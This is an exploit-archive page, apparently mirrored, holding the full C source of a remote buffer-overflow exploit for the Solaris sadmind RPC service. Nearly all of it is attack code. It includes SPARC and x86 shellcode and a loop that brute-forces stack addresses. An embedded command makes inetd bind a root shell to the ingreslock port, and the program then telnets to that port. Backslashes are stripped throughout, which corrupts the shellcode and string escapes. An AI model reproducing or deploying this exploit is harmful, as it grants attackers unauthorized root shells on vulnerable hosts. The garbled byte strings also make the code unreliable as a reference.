[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Solaris sadmind Remote Buffer Overflow Exploit
# Published : 2000-12-01
# Author : optyx
# Previous Title : 返回列表
# Next Title : BFTPd vsprintf() Format Strings Exploit


/*************************************************************************
**                                                                       **
**    Super Solaris sadmin Exploit by optyx <optyx@uberhax0r.net>        **
**    based on sadminsparc. and sadminx86.c by Cheez Whiz                **
**                                                                       **
*************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <rpc/rpc.h>

char shellsparc[] =
  "x20xbfxffxffx20xbfxffxffx7fxffxffxff"
  "x90x03xe0x5cx92x22x20x10x94x1bxc0x0f"
  "xecx02x3fxf0xacx22x80x16xaex02x60x10"
  "xeex22x3fxf0xaex05xe0x08xc0x2dxffxff"
  "xeex22x3fxf4xaex05xe0x03xc0x2dxffxff"
  "xeex22x3fxf8xaex05xc0x16xc0x2dxffxff"
  "xc0x22x3fxfcx82x10x20x3bx91xd0x20x08"
  "xffxffxffxffxffxffxffxffxffxffxffxff"
  "xffxffxffxffx2fx62x69x6ex2fx73x68xff"
  "x2dx63xff";

char shellx86[] =
  "xebx45x9axffxffxffxffx07xffxc3x5ex31"
  "xc0x89x46xb7x88x46xbcx31xc0x50x56x8b"
  "x1exf7xdbx89xf7x83xc7x10x57x89x3ex83"
  "xc7x08x88x47xffx89x7ex04x83xc7x03x88"
  "x47xffx89x7ex08x01xdfx88x47xffx89x46"
  "x0cxb0x3bxe8xbexffxffxffx83xc4x0cxe8"
  "xbexffxffxffxffxffxffxffxffxffxffxff"
  "xffxffxffxffxffxffxffxffx2fx62x69x6e"
  "x2fx73x68xffx2dx63xff";
           

int buflen[]      = { 1076, 1056 };
int addrlen[]     = { 560, 8 };
int lens[]        = { 84, 76 };
int offset[]      = { 688, 572 };
int alignment[]   = { 4, 0 };
long int nops[]   = { 0x801bc00f, 0x90 };
int junks[]       = { 512, 536 };
char command[]    = "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' "
             	  "> /tmp/.x; /usr/sbin/inetd -s /tmp/.x; rm -f /tmp/.x;";

unsigned long int sp[]  = { 0xefff9580, 0xefff9418, 0x080418ec, 0x08041798 };
 
#define FRAMELEN1 608
#define FRAMELEN2 4200

#define NETMGT_PROG 100232
#define NETMGT_VERS 10
#define NETMGT_PROC_PING 0
#define NETMGT_PROC_SERVICE 1

#define NETMGT_UDP_PING_TIMEOUT 30
#define NETMGT_UDP_PING_RETRY_TIMEOUT 5
#define NETMGT_UDP_SERVICE_TIMEOUT 1
#define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2

#define NETMGT_HEADER_TYPE 6
#define NETMGT_ARG_INT 3
#define NETMGT_ARG_STRING 9
#define NETMGT_ENDOFARGS "netmgt_endofargs"

#define FW_VERSION "VERSION"
#define CLIENT_DOMAIN "CLIENT_DOMAIN"
#define FENCE "FENCE"

struct nm_send_header {
  struct timeval timeval1;
  struct timeval timeval2;
  struct timeval timeval3;
  unsigned int uint1;
  unsigned int uint2;
  unsigned int uint3;
  unsigned int uint4;
  unsigned int uint5;
  struct in_addr inaddr1;
  struct in_addr inaddr2;
  unsigned long ulong1;
  unsigned long ulong2;
  struct in_addr inaddr3;
  unsigned long ulong3;
  unsigned long ulong4;
  unsigned long ulong5;
  struct timeval timeval4;
  unsigned int uint6;
  struct timeval timeval5;
  char *string1;
  char *string2;
  char *string3;
  unsigned int uint7;
};

struct nm_send_arg_int {
  char *string1;
  unsigned int uint1;
  unsigned int uint2;
  int int1;
  unsigned int uint3;
  unsigned int uint4;
};

struct nm_send_arg_string {
  char *string1;
  unsigned int uint1;
  unsigned int uint2;
  char *string2;
  unsigned int uint3;
  unsigned int uint4;
};

struct nm_send_footer {
  char *string1;
};

struct nm_send {
  struct nm_send_header header;
  struct nm_send_arg_int version;
  struct nm_send_arg_string string;
  struct nm_send_arg_int fence;
  struct nm_send_footer footer;
};

struct nm_reply {
  unsigned int uint1;
  unsigned int uint2;
  char *string1;
};

bool_t xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
{
  char *addr;
  size_t size = sizeof(struct in_addr);

  if(!xdr_long(xdrs, &objp->timeval1.tv_sec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval1.tv_usec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval2.tv_sec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval2.tv_usec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval3.tv_sec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval3.tv_usec))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint2))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint3))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint4))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint5))
    return (FALSE);
  addr = (char *) &objp->inaddr1.s_addr;
  if(!xdr_bytes(xdrs, &addr, &size, size))
    return (FALSE);
  if(!xdr_u_long(xdrs, &objp->ulong1))
    return (FALSE);
  if(!xdr_u_long(xdrs, &objp->ulong2))
    return (FALSE);
  if(!xdr_u_long(xdrs, &objp->ulong3))
    return (FALSE);
  if(!xdr_u_long(xdrs, &objp->ulong4))
    return (FALSE);
  if(!xdr_u_long(xdrs, &objp->ulong5))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval4.tv_sec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval4.tv_usec))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint6))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval5.tv_sec))
    return (FALSE);
  if(!xdr_long(xdrs, &objp->timeval5.tv_usec))
    return (FALSE);
  if(!xdr_wrapstring(xdrs, &objp->string1))
    return (FALSE);
  if(!xdr_wrapstring(xdrs, &objp->string2))
    return (FALSE);
  if(!xdr_wrapstring(xdrs, &objp->string3))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint7))
    return (FALSE);
  return (TRUE);
}

bool_t xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
{
  if(!xdr_wrapstring(xdrs, &objp->string1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint2))
    return (FALSE);
  if(!xdr_int(xdrs, &objp->int1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint3))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint4))
    return (FALSE);
  return (TRUE);
}

bool_t xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
{
  if(!xdr_wrapstring(xdrs, &objp->string1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint2))
    return (FALSE);
  if(!xdr_wrapstring(xdrs, &objp->string2))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint3))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint4))
    return (FALSE);
  return (TRUE);
}

bool_t xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
{
  if(!xdr_wrapstring(xdrs, &objp->string1))
    return (FALSE);
  return (TRUE);
}

bool_t xdr_nm_send(XDR *xdrs, struct nm_send *objp)
{
  if(!xdr_nm_send_header(xdrs, &objp->header))
    return (FALSE);
  if(!xdr_nm_send_arg_int(xdrs, &objp->version))
    return (FALSE);
  if(!xdr_nm_send_arg_string(xdrs, &objp->string))
    return (FALSE);
  if(!xdr_nm_send_arg_int(xdrs, &objp->fence))
    return (FALSE);
  if(!xdr_nm_send_footer(xdrs, &objp->footer))
    return (FALSE);
  return (TRUE);
}

bool_t xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
{
  if(!xdr_u_int(xdrs, &objp->uint1))
    return (FALSE);
  if(!xdr_u_int(xdrs, &objp->uint2))
    return (FALSE);
  if(!xdr_wrapstring(xdrs, &objp->string1))
    return (FALSE);
  return (TRUE);
}

void usage(char *prog)
{
  fprintf(stderr, "usage: %s -t target -a arch [-s size]", prog);
  fprintf(stderr, " [-i increment] [-p]n");
  fprintf(stderr, "tarchitectures:n");
  fprintf(stderr, "t0 - Solaris SPARC 2.6n");
  fprintf(stderr, "t1 - Solaris SPARC 2.7 (7.0)n");
  fprintf(stderr, "t2 - Solaris x86   2.6n");
  fprintf(stderr, "t3 - Solaris x86   2.7 (7.0)nn");

  exit(-1);  
}

int exp(char *host, int arch, unsigned long int sp, int pinging)
{
  CLIENT *cl;
  struct nm_send send;
  struct nm_reply reply;
  struct timeval tm;
  enum clnt_stat stat;
  int c, i, len, slen, clen, junk, a;
  char *cp, *buf;
  unsigned long int addr, fp;
  
  a = (int) arch / 2;  
  buf = (char *) malloc(buflen[a] + 1);

  if(a)
  {
    /* Solaris x86 */
    memset(buf, nops[a], buflen[a]);
    junk = junks[arch - 2];
    junk &= 0xfffffffc;

    for (i = 0, cp = buf + alignment[a]; i < junk / 4; i++) 
    {
      *cp++ = (sp >>  0) & 0xff;
      *cp++ = (sp >>  8) & 0xff;
      *cp++ = (sp >> 16) & 0xff;
      *cp++ = (sp >> 24) & 0xff;
    }

    addr = sp + offset[a];

    for (i = 0; i < addrlen[a] / 4; i++) 
    {
      *cp++ = (addr >>  0) & 0xff;
      *cp++ = (addr >>  8) & 0xff;
      *cp++ = (addr >> 16) & 0xff;
      *cp++ = (addr >> 24) & 0xff;
    }

    slen = strlen(shellx86); 
    clen = strlen(command);
    len = clen; 
    len++; 
    len = -len;
    shellx86[lens[a]+0] = (len >>  0) & 0xff;
    shellx86[lens[a]+1] = (len >>  8) & 0xff;
    shellx86[lens[a]+2] = (len >> 16) & 0xff;
    shellx86[lens[a]+3] = (len >> 24) & 0xff;
    cp = buf + buflen[a] - 1 - clen - slen;
    memcpy(cp, shellx86, slen); 
    cp += slen;
    memcpy(cp, command, clen); 
    cp += clen;
    *cp = 'xff';
  }
  else
  {
    /* Solaris SPARC */
    memset(buf, 'xff', buflen[a]);
    fp = sp + FRAMELEN1 + FRAMELEN2;
    fp &= 0xfffffff8;
    addr = sp + offset[a];
    addr &= 0xfffffffc;

    for(i = 0, cp = buf + alignment[a]; i < addrlen[a] / 8; i++)
    {
      *cp++ = (fp >> 24) & 0xff;
      *cp++ = (fp >> 16) & 0xff;
      *cp++ = (fp >>  8) & 0xff;
      *cp++ = (fp >>  0) & 0xff;
      *cp++ = (addr >> 24) & 0xff;
      *cp++ = (addr >> 16) & 0xff;
      *cp++ = (addr >>  8) & 0xff;
      *cp++ = (addr >>  0) & 0xff;
    }
    
    slen = strlen(shellsparc);
    clen = strlen(command);
    len = buflen[a] - 1 - clen - slen - addrlen[a] - alignment[a];
    len &= 0xfffffffc;
    for(i = 0; i < lens[a] / 4; i++)
    {
      *cp++ = (nops[a] >> 24) & 0xff;
      *cp++ = (nops[a] >> 16) & 0xff;
      *cp++ = (nops[a] >>  8) & 0xff;
      *cp++ = (nops[a] >>  0) & 0xff;
    }
    len = clen;
    len++;
    len = -len;
    shellsparc[lens[a]+0] = (len >> 24) & 0xff;
    shellsparc[lens[a]+1] = (len >> 16) & 0xff;
    shellsparc[lens[a]+2] = (len >>  8) & 0xff;
    shellsparc[lens[a]+3] = (len >>  0) & 0xff;
    memcpy(cp, shellsparc, slen);
    cp += slen;
    memcpy(cp, command, clen);
  }

  buf[buflen[a]] = '';
  memset(&send, 0, sizeof(struct nm_send));
  send.header.uint2 = NETMGT_HEADER_TYPE;
  send.header.string1 = "";
  send.header.string2 = "";
  send.header.string3 = "";
  send.header.uint7 =
    strlen(FW_VERSION) + 1 +
    (4 * sizeof(unsigned int)) + sizeof(int) +
    strlen(CLIENT_DOMAIN) + 1 +
    (4 * sizeof(unsigned int)) + strlen(buf) + 1 +
    strlen(FENCE) + 1 +
    (4 * sizeof(unsigned int)) + sizeof(int) +
    strlen(NETMGT_ENDOFARGS) + 1;
  send.version.string1 = FW_VERSION;
  send.version.uint1 = NETMGT_ARG_INT;
  send.version.uint2 = sizeof(int);
  send.version.int1 = 1;
  send.string.string1 = CLIENT_DOMAIN;
  send.string.uint1 = NETMGT_ARG_STRING;
  send.string.uint2 = strlen(buf);
  send.string.string2 = buf;
  send.fence.string1 = FENCE;
  send.fence.uint1 = NETMGT_ARG_INT;
  send.fence.uint2 = sizeof(int);
  send.fence.int1 = 666;
  send.footer.string1 = NETMGT_ENDOFARGS;
  cl = clnt_create(host, NETMGT_PROG, NETMGT_VERS, "udp");

  if (cl == NULL) 
  {
    clnt_pcreateerror("clnt_create");
    return 0;
  }

  cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);

  if (!pinging) 
  {
    tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT; 
    tm.tv_usec = 0;

    if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) 
    {
      fprintf(stderr, "unable to set timeoutn");
      exit(1);
    }

    tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT; 
    tm.tv_usec = 0;

    if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) 
    {
      fprintf(stderr, "unable to set timeoutn");
      exit(1);
    }

    stat = clnt_call(cl, NETMGT_PROC_SERVICE,
      xdr_nm_send, (caddr_t) &send,
      xdr_nm_reply, (caddr_t) &reply, tm);

    if (stat != RPC_SUCCESS) 
    {
      clnt_perror(cl, "clnt_call");
      fprintf(stdout, "now check if exploit worked;n");
      return 0;
    }

    fprintf(stderr, "exploit failed; "
      "RPC succeeded and returned { %u, %u, "%s" }n",
      reply.uint1, reply.uint2, reply.string1);
    clnt_destroy(cl);
    exit(1);
  } 
  else 
  {

    tm.tv_sec = NETMGT_UDP_PING_TIMEOUT; 
    tm.tv_usec = 0;

    if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) 
    {
      fprintf(stderr, "unable to set timeoutn");
      exit(1);
    }

    tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT; 
    tm.tv_usec = 0;

    if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) 
    {
      fprintf(stderr, "unable to set timeoutn");
      exit(1);
    }

    stat = clnt_call(cl, NETMGT_PROC_PING,
      xdr_void, NULL,
      xdr_void, NULL, tm);

    if (stat != RPC_SUCCESS) 
    {
      clnt_perror(cl, "clnt_call");
      exit(1);
    }

    clnt_destroy(cl);
    return 0;
  }
}

int main(int argc, char *argv[])
{
  int i, arch;
  char *host = "";
  int pinging = 0, inc = 4, size = 2048;
  unsigned long int addr;

  for(i=0;i<argc;i++)
  {
    if(!strcmp(argv[i], "-t"))
      host = argv[i+1];  
    if(!strcmp(argv[i], "-a"))
      arch = atoi(argv[i+1]);
    if(!strcmp(argv[i], "-i"))
      inc = atoi(argv[i+1]);
    if(!strcmp(argv[i], "-s"))
      size = atoi(argv[i+1]);  
    if(!strcmp(argv[i], "-p"))
      pinging = 1;
  }

  if(arch > 3 || arch < 0)
    usage(argv[0]);
  if(size < 0)
    usage(argv[0]);
  if(inc < 0)
    usage(argv[0]);

  for(i = 0; i < size; i+=inc)
  {
    addr = sp[arch] + i;
    exp(host, arch, addr, pinging); 
    addr = sp[arch] - i;
    exp(host, arch, addr, pinging);
  }

  execl("telnet", host, "ingreslock");
  return 0;
}


// www.Syue.com [2000-12-01]